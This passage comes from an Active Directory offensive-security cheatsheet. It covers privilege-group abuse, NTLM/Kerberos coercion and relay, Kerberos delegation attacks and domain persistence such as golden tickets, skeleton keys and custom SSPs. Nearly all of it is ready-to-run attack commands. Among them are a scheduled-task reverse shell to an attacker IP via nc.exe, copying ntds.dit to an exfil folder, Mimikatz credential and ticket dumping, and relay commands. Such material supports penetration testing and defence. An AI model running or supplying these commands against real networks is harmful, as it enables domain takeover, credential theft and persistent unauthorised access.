rights we can add a new member to the group ```powershell net group user1 /add # With PowerView Add-DomainGroupMember -Identity '' -Members 'user1' ``` #### On GPO ##### WriteProperty on a GPO We can create an "evil" GPO with a scheduled task for example ```powershell #With PowerView New-GPOImmediateTask -Verbose -Force -TaskName 'Update' -GPODisplayName 'weakGPO' -Command cmd -CommandArguments "/c net localgroup administrators user1 /add" #With SharpGPOAbuse ./SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author Administrator --Command "cmd.exe" --Arguments "/c /tmp/nc.exe attacker_ip 4545 -e powershell" --GPOName "weakGPO" ``` ##### CreateChild on Policies Cn + WriteProperty on an OU It is possible to create a fully new GPO and link it to an existing OU ```powershell #With RSAT module New-GPO -Name "New GPO" | New-GPLink -Target "OU=Workstation,DC=domain,DC=local" Set-GPPrefRegistryValue -Name "New GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "C:\Windows\System32\cmd.exe /C \\path\to\payload" -Type ExpandString ``` After GPO refresh on the OU's machines, when the machines will restart the payload will be executed #### On the domain/forest ##### DS-Replication-Get-Changes + DS-Replication-Get-Changes-All We can **DCSync** ##### DS-Replication-Get-Changes + DS-Replication-Get-Changes-In-Filtered-Set It is possible to realize a **DirSync** attack, as presented [here](https://simondotsh.com/infosec/2022/07/11/dirsync.html). ```powershell Import-Module ./DirSync.psm1 #Sync all the LAPS passwords in the domain Sync-LAPS #Sync a specific LAPS password Sync-LAPS -LDAPFilter '(samaccountname=)' #Sync confidential attributs Sync-Attributes -LDAPFilter '(samaccountname=user1)' -Attributes unixUserPassword,description ``` ### Account Operators The members of this group can add and modify all the non admin users and groups. Since **LAPS ADM** and **LAPS READ** are considered as non admin groups, it's possible to add an user to them, and read the LAPS admin password. They also can manage the **Server Operators** group members which can authenticate on the DC. #### Add user to LAPS groups ```powershell Add-DomainGroupMember -Identity 'LAPS ADM' -Members 'user1' -Credential $cred -Domain "domain.local" Add-DomainGroupMember -Identity 'LAPS READ' -Members 'user1' -Credential $cred -Domain "domain.local" ``` #### Read LAPS password ```powershell Get-DomainComputer -Properties ms-mcs-AdmPwd,ComputerName,ms-mcs-AdmPwdExpirationTime ``` ### DnsAdmins * It is possible for the members of the DNSAdmins group to load arbitrary DLL with the privileges of dns.exe (SYSTEM). * In case the DC also serves as DNS, this will provide us escalation to DA. * Need privileges to restart the DNS service. #### Configure the DLL Needs RSAT DNS ```bash #With dnscmd.exe dnscmd /config /serverlevelplugindll \\\dll\mimilib.dll #With DNSServer module $dnsettings = Get-DnsServerSetting -ComputerName -Verbose -All $dnsettings.ServerLevelPluginDll = "\\\dll\mimilib.dll" Set-DnsServerSetting -InputObject $dnsettings -ComputerName -Verbose ``` #### Restart DNS ```batch sc \\ stop dns sc \\ start dns ``` ### Schema Admins These group members can change the "_schema_" of the AD. It means they can change the ACLs on the objects that will be created **IN THE FUTUR**. If we modify the ALCs on the group object, only the futur group will be affected, not the ones that are already present. #### Change ACLs on the groups Give full rights to a user on the groups ```powershell $creds = New-Object System.Management.Automation.PSCredential ("domain.local\user1", (ConvertTo-SecureString "Password" -AsPlainText -Force)); Set-ADObject -Identity "CN=group,CN=Schema,CN=Configuration,DC=domain,DC=local" -Replace @{defaultSecurityDescriptor = 'D:(A;;RPWPCRCCDCLCLORCWOWDSDDTSW;;;DA)(A;;RPWPCRCCDCLCLORCWOWDSDDTSW;;;SY)(A;;RPLCLORC;;;AU)(A;;RPWPCRCCDCLCLORCWOWDSDDTSW;;;S-1-5-21-854239470-2015502385-3018109401-52104)';} -Verbose -server dc.domain.local -Credential $creds ``` When a new group is created we can add any user to it with the user who has full rights ```powershell $User = Get-ADUser -Identity "CN=user1,CN=Users,DC=domain,DC=local"; $Group = Get-ADGroup -Identity "CN=new_admingroup,CN=Users,DC=domain,DC=local"; $creds = New-Object System.Management.Automation.PSCredential ("domain.local\user1", (ConvertTo-SecureString "Password" -AsPlainText -Force)); Add-ADGroupMember -Identity $Group -Members $User -Server dc.domain.local -Credential $creds ``` ### Backup Operators Can _generally_ log in on any machines of the domain. #### File system backup Can backup the **entire file system** of a machine (DC included) and have full read/write rights on the backup To backup a folder : ```batch robocopy /B C:\Users\Administrator\Desktop\ C:\tmp\tmp.txt /E ``` To backup with **Diskshadow + Robocopy**: * Create a `script.txt` file to backup with Diskshadow ``` set verbose onX set metadata C:\Windows\Temp\meta.cabX set context clientaccessibleX set context persistentX begin backupX add volume C: alias cdriveX createX expose %cdrive% E:X end backupX ``` * Backup with `diskshadow /s script.txt` * Retrieve the backup with **robocopy** and send the NTDS file in the current folder : `robocopy /b E:\Windows\ntds . ntds.dit` * Then retrieve the SYSTEM registry hive to decrypt and profit `reg save hklm\system c:\temp\system` To backup with **Diskshadow + DLLs**: * Similar script for Diskshadow ``` set context persistent nowritersx set metadata c:\windows\system32\spool\drivers\color\example.cabx add volume c: alias someAliasx createx expose %someAlias% z:x exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.ditx delete shadows volume %someAlias%x resetx ``` * With [these](https://github.com/giuliano108/SeBackupPrivilege) DLLs ```powershell Import-Module .\SeBackupPrivilegeCmdLets.dll Import-Module .\SeBackupPrivilegeUtils.dll Copy-FileSeBackupPrivilege z:\windows\ntds\ntds.dit C:\temp\ntds.dit -Overwrite reg save HKLM\SYSTEM c:\temp\system.hive ``` #### Registry read rights The **Backup Operators** can read all the machines registry ```bash python3 reg.py 'domain.local'/'user1':'Password123'@.domain.local query -keyName 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon' #Backup the SAM, SECURITY and SYSTEM registry keys reg.py -dc-ip 'domain.local'/'user1':'Password123'@server.domain.local backup -o \\\share ``` #### GPOs read/write rights Normally the **Backup Operators** can read and rights all the domain and DC GPOs with **robocopy** in **backup** mode * Found the interesting GPO with `Get-NetGPO` . For example **Default Domain Policy** in the Domain Controller policy * Get the file at the path `\\dc.domain.local\SYSVOL\domain.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf` and add whatever you want in it * Write the file with **robocopy**: ```powershell robocopy "C:\tmp" "\\dc.domain.local\SYSVOL\domain.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit" GptTmpl.inf /ZB ``` ### Key Admins Members of this group can perform [Shadow Credentials](https://hideandsec.sh/books/cheatsheets-82c/page/active-directory#bkmrk-on-a-computer) attacks against any objects, including the domain controllers. ### AD Recycle Bin Members of this group can recover deleted objects from the Active Directory, just like in a recycle bin for files, when the feature is enabled. These objects can sometimes have interesting properties. #### Enumerate deleted objects To find all the deleted objects and their properties: ```powershell Get-ADObject -filter 'isdeleted -eq $true -and name -ne "Deleted Objects"' -includeDeletedObjects -property * ``` To focus on one object: ```powershell Get-ADObject -filter { SAMAccountName -eq "user1" } -includeDeletedObjects -property * ``` To find the last deleted object: ```powershell Get-ADObject -ldapFilter:"(msDS-LastKnownRDN=*)" - IncludeDeletedObjects ``` #### Restore an object ```powershell Get-ADObject -Filter {displayName -eq "user1"} IncludeDeletedObjects | Restore-ADObject ``` ## Authentication capture, coerce and relay ### Capture, coerce and leak Different ways to obtain and catch NTLM authentications and retrieve a NTLM response. #### Responder / Inveigh Change the authentication challenge to `1122334455667788` in the Responder conf file in order to obtain an easily crackable hash if **NTLMv1** is used. ```bash sed -i 's/ Random/ 1122334455667788/g' Responder/Responder.conf ``` Catch all the possible hashes on the network (coming via LLMNR, NBT-NS, DNS spoofing, etc): ```bash # Responder with WPAD injection, Proxy-Auth, DHCP, DHCP-DNS and verbose responder -I interface_to_use -wPdDv # Inveigh with * Invoke-Inveigh -Challenge 1122334455667788 -ConsoleOutput Y -LLMNR Y -NBNS Y -mDNS Y -HTTPS Y -Proxy Y ``` Force NTLM downgrade to NTLMv1 (will break the authentications if v1 is disabled on the machine): ```bash # --disable-ess will disable the SSP, not always usefull responder -I interface_to_use -wdDv --lm --disable-ess ``` **NTLMv1** response can be cracked on [crash.sh](https://crack.sh/). #### Leak Files With write rights on a SMB share, it is possible to drop a `.scf` file with the following content to grab some user hashes: ``` [Shell] Command=2 IconFile=\\share\pentestlab.ico [Taskbar] Command=ToggleDesktop ``` #### MITM6 (Python tool) Spoof DHCPv6 responses to provide evil DNS config. Usefull to combine with NTLM or Kerberos Relay attacks. Here for an NTLM relay: ```bash mitm6 -i interface_to_use -d domain.local -hw target.domain.local -v ``` Here for a Kerberos relay to ADCS: ```bash mitm6 -i interface_to_use -d domain.local -hw target.domain.local --relay CA.domain.local -v ``` #### PetitPotam / PrinterBug / ShadowCoerce / DFSCoerce / CheeseOunce Exploits to coerce Net-NTLM authentication from a computer. **PetitPotam** can be used without any credentials if no patch has been installed. ```powershell #PetitPotam ./PetitPotam.exe attacker_IP target_IP #PrinterBug ./SpoolSample.exe target_IP attacker_IP #ShadowCoerce python3.exe shadowcoerce.py -d domain.local -u user1 -p password attacker_IP target_IP #DFSCoerce python3.exe dfscoerce.py -u user1 -d domain.local #CheeseOunce via MS-EVEN ./MS-EVEN.exe ``` #### MSSQL Coerce Everything is explained [here](https://github.com/p0dalirius/MSSQL-Analysis-Coerce/blob/main/README.md). * MSSQL Server : with [xp\_dirtree](https://hideandsec.sh/books/cheatsheets-82c/page/active-directory#bkmrk-rbcd-from-mssql-serv). #### PrivExchange Coerce Exchange server authentication via **PushSubscription** (now patched): ```bash python3.exe privexchange.py -ah attacker_IP -u user1 -p password -d domain.local ``` #### WebClient Service If this service runs on the target machine, a SMB authentication can be switched into an HTTP authentication (really useful for NTLM relay). Check if WebClient is running on machines: ```bash GetWebDAVStatus.exe 'machine_ip' #For multiple machines webclientservicescanner domain.local/user1:password@10.10.10.0/24 ``` If yes, coerce the authentication to the port 80 on the attacker IP. To bypass trust zone restriction, the attacker machine must be specified with a valid **NETBIOS name** and not its IP. The FQDN can be obtained with Responder in Analyze mode (Python tool). ```powershell responder -I interface_to_use -A #Coerce with PetitPotam for example ./PetitPotam.exe "attacker_NETBIOS@80/test.txt" ``` ### NTLM and Kerberos relay #### SMB without signing Create a list of computer without SMB signing: ```bash crackmapexec smb 10.10.10.0/24 --gen-relay-list list.txt ``` #### ntlmrelayx If only SMBv2 is supported, `-smb2support` can be used. To attempt the remove the MIC if **NTLMv2** is vulnerable to **CVE-2019-1040**, `--remove-mic` can be used. Multiple targets can be specified with `-tf list.txt`. * Enumeration ```bash #With attempt to dump possible GMSA and LAPS passwords, and ADCS templates ntlmrelayx.py ldap://dc --dump-adcs --dump-laps --dump-gmsa --no-da --no-acl ``` * SOCKS ```bash ntlmrelayx.py smb://target -socks ntlmrelayx.py mssql://target -socks ``` * Creds dump ```bash ntlmrelayx.py smb://target ``` * DCSync if the target in vulnerable to Zerologon ```bash ntlmrelayx.py dcsync://dc ``` * Privesc Add an user to **Enterprise Admins**. ```bash ntlmrelayx.py ldap://dc --escalate-user user1 --no-dump ``` * Kerberos Delegation Kerberos RBCD are detailled in the following section. ```bash #Create a new computer account through LDAPS and enabled RBCD ntlmrelayx.py ldaps://dc_IP --add-computer --delegate-access --no-dump --no-da --no-acl #Create a new computer account through LDAP with StartTLS and enabled RBCD ntlmrelayx.py ldap://dc_IP --add-computer --delegate-access --no-dump --no-da --no-acl #Doesn't create a new computer account and use an existing one ntlmrelayx.py ldap://dc_IP --escalate-user --delegate-access --no-dump --no-da --no-acl ``` * Shadow Credentials ```bash ntlmrelayx.py -t ldap://dc02 --shadow-credentials --shadow-target 'dc01$' ``` * From a mitm6 authent ```bash #Attempts to open a socks and write loot likes dumps into a file ntlmrelayx.py -tf targets.txt -wh attacker.domain.local -6 -l loot.txt -socks ``` * Targeting GPO This attack is presented in the Active Directory - Python edition cheatsheet. * [ADCS ESC8 & 11](https://hideandsec.sh/books/cheatsheets-82c/page/active-directory-certificate-services#bkmrk-relay-attacks---esc8) * [SCCM primary site takeover](https://hideandsec.sh/books/cheatsheets-82c/page/active-directory#bkmrk-sccm-%2F-mecm) #### krbrelayx To relay authentication from a mitm6 DNS spoofing to ADCS: ```bash krbrelayx.py --target http://CA.domain.local/certsrv -ip --victim target$ --adcs --template Machine ``` #### krbjack A tool ([https://github.com/almandin/krbjack](https://github.com/almandin/krbjack)) to perform DNS updates thanks to the `ZONE_UPDATE_UNSECURE` flag in the DNS configuration. Perform a MiTM between any client and a target machine by changing its DNS resolution, forward all the packets to the specified ports, and steal the `AP_REQ` packets on the fly to reuse them. This attack is presented in the Active Directory - Python edition cheatsheet. ## Kerberos Delegations Kerberos delegations can be used for local privesc, lateral movement or domain privesc. The main purpose of Kerberos delegations is to permit a principal to access a service on behalf of another principal. There are two main types of delegation: * **Unconstrained Delegation**: the first hop server can request access to any service on any computer * **Constrained Delegation**: the first hop server has a list of service it can request ### Unconstrained delegation #### Compromised machine in Unconstrained Delegation * Enumerate computers with Unconstrained Delegation ```powershell Get-NetComputer -UnConstrained #With AD Module Get-ADComputer -Filter {TrustedForDelegation -eq $True} Get-ADUser -Filter {TrustedForDelegation -eq $True} ``` * Get admin ticket After compromising the computer with UD enabled, we can trick or wait for an admin connection ```powershell #Check if a ticket is available Invoke-Mimikatz -Command '"sekurlsa::tickets"' #If yes Invoke-Mimikatz -Command '"sekurlsa::tickets /export"' ``` * Reuse the ticket ```powershell Invoke-Mimikatz -Command '"kerberos::ptt ticket.kirbi"' ``` #### Printer bug / PetitPotam To force another computer to connect to the compromised machine in UD, and capture the TGT by monitoring: ```powershell .\Rubeus.exe monitor /interval:5 /nowrap ``` On the attacker machine run : ```powershell #PrinterBug .\MS-RPRN.exe \\.domain.local \\unconstrainedMachine.domain.local #PetitPotam .\PetitPotam.exe attacker_ip .domain.local ``` ```powershell .\Rubeus.exe ptt /ticket:... #DCSync with the dc TGT Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt"' ``` #### Any principal in Unconstrained Delegation If we have enough rights against a principal (computer or user) in UD to add a **SPN** on it and **know its password**, we can try to use it to retrieve a machine account password from an authentication coercion. * Add a new DNS record on the domain that point to our IP * Add a SPN on the principal that point to the DNS record and change its password (will be usefull for the tool `krbrelayx.py` to extract the TGT from the ST) * Trigger the authentication and grab the ST (and TGT in it) on **krbrelayx** that is listenning for it Since the principal is in **Unconstrained Delegation**, when the machine account will send the **ST** to the SPN it will automatically add a **TGT** in it, and because the SPN is pointing to us with the DNS record, we can retrieve the ST, decipher the ciphered part with the user password (the SPN is setup on the user, so the ST is ciphered with his password), and retrieve the TGT. ```powershell #Add the SPN with the Microsoft module Set-ADUser -Identity -ServicePrincipalName @{Add='HOST/test.domain.local'} #Create the DNS record Invoke-DNSUpdate -DNSType A -DNSName test.domain.local -DNSData -Realm domain.local #Run krbrelayx with the hash of the password setup on the UD user python3 krbrelayx.py -hashes :2B576ACBE6BCFDA7294D6BD18041B8FE -dc-ip dc.domain.local #Trigger the coercion .\PetitPotam.exe ``` ### Constrained delegation In this situation, the computer in delegation has a list of services where it can delegate an authentication. This is controlled by `msDS-AllowedToDelegateTo` attribute that contains a list of SPNs to which the user tokens can be forwarded. No ticket is stored in LSASS. To impersonate the user, Service for User (S4U) extension is used which provides two extensions: * Service for User to Self (**S4U2self**) - Allows a service to obtain a forwardable ST to itself on behalf of a user with just the user principal name without supplying a password. The service account must have the **TRUSTED\_TO\_AUTHENTICATE\_FOR\_DELEGATION** – T2A4D UserAccountControl attribute. * Service for User to Proxy (**S4U2proxy**) - Allows a service to obtain a ST to a second service on behalf of a user. #### Enumerate principals with CD enabled ```powershell #Powerview Get-DomainUser -TrustedToAuth Get-DomainComputer -TrustedToAuth #AD Module Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo ``` #### With protocol transition Any service can be specified on the target since it is not correctly checked. All the Rubeus commands can be performed with kekeo aswell. * Request a ticket for multiple services on the target, for another user (S4U) ```powershell .\Rubeus.exe s4u /user:user1 /rc4: /impersonateuser:Administrator /msdsspn:"time/.domain.local" /altservice:ldap,cifs /ptt ``` If we have a session as the user, we can just run `.\Rubeus.exe tgtdeleg /nowrap` to get the TGT in Base64, then run: ```powershell .\Rubeus.exe s4u /ticket:doIFCDC[SNIP]E9DQUw= /impersonateuser:Administrator /domain:domain.local /msdsspn:"time/.domain.local" /altservice:ldap,cifs /ptt ``` * Inject the ticket ```powershell Invoke-Mimikatz -Command '"kerberos::ptt ticket.kirbi"' ``` #### Without protocol transition In this case, it is not possible to use **S4U2self** to obtain a forwardable ST for a specific user. This restriction can be bypassed with an RBCD attack detailled in the following section. ### Resource-based constrained delegation [Wagging the Dog](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html) With RBCD, this is the resource machine (the machine that receives delegation) which has a list of services that can delegate to it. This list is specified in the attribute `msds-allowedtoactonbehalfofotheridentity` and the computer can modified its own attribute (really usefull in NTLM relay attack scenario). #### Requirements * The DC has to be at least a **Windows Server 2012** * Domain users can create some machines, `ms-ds-machineaccountquota` must not being to 0 ```powershell #To verify Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local ``` * Write rights on the target machine (**GenericAll, GenericWrite, AllExtendedRights**) * Target computer, object must not have the attribute `msds-allowedtoactonbehalfofotheridentity` set ```powershell Get-NetComputer ws01 | Select-Object -Property name, msds-allowedtoactonbehalfofotheridentity ``` #### Standard RBCD The attaker has compromised ServiceA and want to compromise ServiceB. Additionnally he has sufficient rights to configure `msds-allowedtoactonbehalfofotheridentity` on ServiceB. ```powershell #Add RBCD from ServiceA to ServiceB Set-ADComputer ServiceB -PrincipalsAllowedToDelegateToAccount ServiceA$ #Verify property Get-NetComputer ServiceB | Select-Object -Property name, msds-allowedtoactonbehalfofotheridentity #Get ServiceA TGT and then S4U rubeus -x tgtdeleg /nowrap rubeus -x s4u /user:ServiceA$ /ticket:ticket.kirbi /impersonateuser:administrator /msdsspn:host/ServiceB.domain.local /domain:domain.local /altservice:cifs,host,http,winrm,RPCSS,wsman /ptt ``` #### With machine account creation * Add a fake machine account in the domain * Add it the to `msds-allowedtoactonbehalfofotheridentity` attribute of the target machine ```powershell Import-Module Powermad.ps1 Import-Module PowerView.ps1 #Creds if needed, to run as another user $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('domain.local\user1', $SecPassword) #Check requirements Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local -Credential $Cred Get-NetComputer -Domain domain.local | Select-Object -Property name, msds-allowedtoactonbehalfofotheridentity #Add the fake machine as a ressource + get its SID New-MachineAccount -MachineAccount FAKE01 -Password $(ConvertTo-SecureString 'Password123!' -AsPlainText -Force) -Credential $Cred -Verbose -Domain domain.local -DomainController DC.domain.local Get-DomainComputer FAKE01 -Domain domain.local -Credential $Cred $ComputerSid = Get-DomainComputer FAKE01 -Properties objectsid | Select -Expand objectsid #Create the new raw security descriptor $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) #Add the new raw SD to msds-allowedtoactonbehalfofotheridentity Get-DomainComputer -SearchBase "LDAP://DC=domain,DC=local" -Credential $Cred | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -SearchBase "LDAP://DC=domain,DC=local" -Verbose -Credential $Cred #Check if well added $RawBytes = Get-DomainComputer -Properties 'msds-allowedtoactonbehalfofotheridentity' -Credential $Cred -SearchBase "LDAP://DC=domain,DC=local" | select -expand msds-allowedtoactonbehalfofotheridentity (New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0).DiscretionaryAcl ``` * Use the **S4USelf** function with the fake machine (on an arbitrary SPN) to create a forwardable ticket for a wanted user (not **protected**) * Use the **S4UProxy** function to obtain a ST for the impersonated user for the wanted service on the target machine ```powershell #Calcul hash .\Rubeus.exe hash /password:Password123! /user:FAKE01$ /domain:domain.local #S4U attack .\Rubeus.exe s4u /user:FAKE01$ /rc4:2B576ACBE6BCFDA7294D6BD18041B8FE /impersonateuser:administrator /msdsspn:cifs/ /domain:domain.local /ptt /dc:DC.domain.local ``` #### Skip S4USelf * Attacker has compromised Service A, has sufficient ACLs against Service B to configure RBCD, and wants to attack Service B * By social engineering or any other solution, an interesting victim authenticates to Service A with a ST * Attacker dumps the ST on Service A (`sekurlsa::tickets`) * Attacker configures RBCD from Service A to Service B as above * Attacker performs S4UProxy and bypass S4USelf by providing the ST as evidence ```powershell .\Rubeus.exe s4u /user:ServiceA$ /aes256: /tgs:"/path/to/kirbi" /msdsspn:cifs/serviceB.domain.local /domain:domain.local /ptt /dc:DC.domain.local ``` #### Reflective RBCD With a TGT or the hash of a service account, an attacker can configure a RBCD from the service to itself, a run a full S4U to access the machine on behalf of another user. ```powershell Set-ADComputer ServiceA -PrincipalsAllowedToDelegateToAccount ServiceA$ .\Rubeus.exe s4u /user:ServiceA$ /aes256: /impersonateuser:Administrator /msdsspn:cifs/serviceA.domain.local /domain:domain.local /ptt /dc:DC.domain.local ``` #### Impersonate protected user via S4USelf request It is possible to impersonate a **protected** **user** with the **S4USelf** request if we have a TGT (or the creds) of the target machine (for example from an **Unconstrained Delegation**). With the target TGT it is possible to realise a S4USelf request for any user and obtain a ST for the service. In case where the needed user is protected against delegation, S4USelf will still work, but the ST is not forwardable (so no S4UProxy possible) and the specified SPN is invalid...however, the SPN is not in the encrypted part of the ticket. So it is possible to modify the SPN and retrieve a valid ST for the target service with a sensitive user (and the ST PAC is well signed by the KDC). ```powershell .\Rubeus.exe s4u /self /impersonateuser:Administrator /ticket:doIFFz[...SNIP...]TE9DQUw= /domain:domain.local /altservice:cifs/server.domain.local /ptt ``` #### Bypass Constrained Delegation restrictions with RBCD * Attacker compromises **ServiceA** and **ServiceB** * ServiceB is allowed to delegate to `time/ServiceC` (the target) without protocol transition (no S4USelf) * Attacker configures RBCD from ServiceA to ServiceB and performs a full S4U attack to obtain a forwardable ST for the Administrator to ServiceB * Attacker reuses this forwardable ST as evidence to realise a S4UProxy attack from ServiceB to `time/ServiceC` * Since the service is not protected in the obtained ticket, the attacker can change the ST from the previous S4UProxy execution to `cifs/ServiceC` ```powershell #RBCD from A to B Set-ADComputer ServiceB -PrincipalsAllowedToDelegateToAccount ServiceA$ .\Rubeus.exe s4u /user:ServiceA$ /aes256: /impersonateuser:Administrator /msdsspn:cifs/serviceB.domain.local /domain:domain.local /dc:DC.domain.local #S4UProxy from B to C with the obtained ST as evidence .\Rubeus.exe s4u /user:ServiceB$ /aes256: /tgs: /msdsspn:time/serviceC.contoso.local /altservice:cifs /domain:domain.local /dc:DC.domain.local /ptt ``` #### U2U RBCD with SPN-less accounts In case where you have sufficient rights to configure an RBCD on a machine (for example with an unsigned authentication coerce via HTTP) but `ms-ds-machineaccountquota` equals 0, there is no ADCS with the HTTP endpoint and the Shadow Credentials attack is not possible (domain level to 2012 for example), you can realize a RBCD from a SPN-less user account. An interesting example is present [here](https://twitter.com/snovvcrash/status/1595814518558543874). You can follow the example in this [PR](https://github.com/GhostPack/Rubeus/pull/137). * Configure the machine account to trust the user account you control (NTLM Relay, with the machine account's creds,...) * Obtain a TGT for the user via pass-the-hash: ```powershell .\Rubeus.exe asktgt /user:user1 /rc4: /nowrap ``` * Request a Service Ticket via U2U (S4USelf request) with the previous TGT specified in `/tgs:` (additional ticket added to the request body identifying the target user account) and `/ticket:` (authentication). If U2U is not used, the KDC cannot find the account's LT key when a UPN is specified instead of a SPN. The account to impersonate via the futur S4U request is also present: ```powershell .\Rubeus.exe asktgs /u2u /ticket:TGT.kirbi /tgs:TGT.kirbi /targetuser:Administrator /nowrap ``` * Retrieve the TGT session key in HEX format: ```python import binascii, base64 print(binascii.hexlify(base64.b64decode("")).decode()) ``` * Now, change the user's long term key (his RC4 NT hash actually) to be equal to the TGT session key. The ST sent in the S4UProxy is encrypted with the session key, but the KDC will try to decipher it with the user's long term key, this is why the LT key must be equal to the session key (**WARNING !!! The user's password is now equal to an unknown value, you have to use a sacrificial account to realise this attack**). Everything is explained [here](https://www.tiraniddo.dev/2022/05/exploiting-rbcd-using-normal-user.html). ```bash smbpasswd.py -newhashes :sessionKey 'domain.local'/'user1':'Password123!'@'DC' ``` * Realize the S4UProxy request with the previous S4USelf U2U ticket (ciphered with the session key) as additional ticket and the original TGT as ticket: ```powershell .\Rubeus.exe s4u /msdsspn:cifs/target.domain.local /ticket:TGT.kirbi /tgs:U2U.kirbi ``` * Finally, use this ticket to do whatever you want #### RBCD from MSSQL server If we have sufficient access to a MSSQL server we can use the `xp_dirtree` in order to leak the Net-NTLM hash of the machine account. Additionally, the **Web Service** client must be running on the machine in order to trick the authentication from SMB to HTTP and avoid the NTLM signature (authentication must be sent to `@80`): * Create a DNS record in order to be able to leak the NTLM hash externally * Use the `xp_dirtree` (or `xp_fileexist`) function to the created DNS record on `@80`. This will force the authentication and leak the hash * Relay the machine hash to the LDAP server to add a controlled account (**with a SPN** for the further S4USelf request) to the `msDS-AllowedToActOnBehalfOfOtherIdentity` of the target machine * Now we can ask a ST for a user we want to impersonate for a service on the machine ```powershell #Add the DNS Invoke-DNSUpdate -DNSType A -DNSName attacker.domain.local -DNSData -Realm domain.local #On our machine, waiting for the leak #https://gist.github.com/3xocyte/4ea8e15332e5008581febdb502d0139c python rbcd_relay.py 192.168.24.10 domain.local 'target$' #ON the MSSQL server SQLCMD -S -Q "exec master.dbo.xp_dirtree '\\attacker@80\a'" -U Admin -P Admin #After the attack, ask for a ST with full S4U .\Rubeus.exe s4u /user: /rc4: /impersonateuser:Administrator /msdsspn:cifs/ /domain:domain.local /dc:DC.domain.local /ptt ``` ## Domain Persistence ### Diamond ticket [Blog here](https://www.semperis.com/blog/a-diamond-ticket-in-the-ruff/) ```powershell .\Rubeus.exe diamond /krbkey: /user:user1 /password:password /enctype:aes /domain:domain.local /dc:dc.domain.local /ticketuser:Administrator /ticketuserid: /groups:512 /nowrap ``` For better opsec, the Shapphire Ticket presented in the Active Directory - Python edition cheatsheet can be used. ### Golden ticket #### Retrieve the krbtgt hash * From the DC by dumping LSA ```powershell Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -Computername dc ``` * With a DCSync ```powershell Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt"' ``` #### Create TGT ```powershell Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:domain.local /sid: /krbtgt: /id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"' ``` #### RODC Golden Ticket In case of a RODC, it is still possible to forge a Golden Ticket but the KRBTGT's version number is needed and only the accounts allowed to authenticate can be specified in the ticket (according to the `msDS-RevealOnDemandGroup` and `msDS-NeverRevealGroup` lists). ```powershell .\Rubeus.exe golden /rodcNumber: /flags:forwardable,renewable,enc_pa_rep /nowrap /outfile:ticket.kirbi /aes256: /user:user1 /id: /domain:domain.local /sid: ``` ### Silver ticket #### Create ST `/rc4` take the service account (generally the machine account) hash. `/aes128` or `/aes256` can be used for AES keys. ```powershell Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:domain.local /sid: /target:.domain.local /service:CIFS /rc4: /ptt"' ``` Requesting a ST with a valid TGT can be performed with **Rubeus** like this: ```powershell .\Rubeus.exe asktgs /ticket:tgt.kirbi /service:LDAP/dc.domain.local,cifs/dc.domain.local /ptt ``` Another solution, if you don't have the NT hash or the AES keys of the service but you have a TGT for the service account, is to impersonate an account via a request for a service ticket through S4USelf to an alternative service (and the opsec is better since the PAC is consistent): ```powershell .\Rubeus.exe s4u /self /impersonateuser:"Administrator" /altservice:"cifs/target.domain.local" /ticket:"" /nowrap ``` ### GoldenGMSA With the KDS root key and some information about the gMSA account (that can be retrieved with low privileges), it is possible to compute the gMSA's password. #### Dump the KDS root key This operation needs admin privs on the domain ```powershell #For the root domain of the forest ./GoldenGMSA.exe kdsinfo #For a specific domain ./GoldenGMSA.exe kdsinfo --forest domain.local ``` #### Retrieve gMSA's information Low privs are sufficient here ```powershell #All the gMSA accounts ./GoldenGMSA.exe gmsainfo #A specific one in a specific domain ./GoldenGMSA.exe gmsainfo --sid --domain domain.local ``` #### Compute the password This operation can be realized offline ```powershell ./GoldenGMSA.exe compute --sid --kdskey --pwdid ``` The output is in Base64 and the password is generally not readable. It is possible to calcul the NT hash from it instead: ```python import base64 import hashlib b64 = "" print(hashlib.new("md4", base64.b64decode(b64)).hexdigest()) ``` ### Skeleton key ```powershell Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName dc.domain.local ``` Now, it is possible to access any machine with a valid username and password as "mimikatz". ```powershell Enter-PSSession -Computername dc -Credential domain\Administrator ``` ### DSRM * DSRM is Directory Services Restore Mode * The local administrator on every DC can authenticate with the DSRM password * It is possible to pass the hash of this user to access the DC after modifying the DC configuration #### Dump DSRM password ```powershell Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' -Computername dc ``` #### Change registry configuration Need to change the logon behavior before pass the hash ```powershell Enter-PSSession -Computername dc New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\\" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD ``` Now the DSRM hash ca be used to authenticate ### Custom SSP SSP are DDLs that provide ways to authenticate for the application. For example Kerberos, NTLM, WDigest, etc. Mimikatz provides a custom SSP that permits to log in a file in clear text the passwords of the users that authenticate on the machine. * By patching LSASS (really instable since Server 2016) ```powershell Invoke-Mimikatz -Command '"misc::memssp"' ``` * By modifying the LSA registry Upload the `mimilib.dll` to **system32** and add 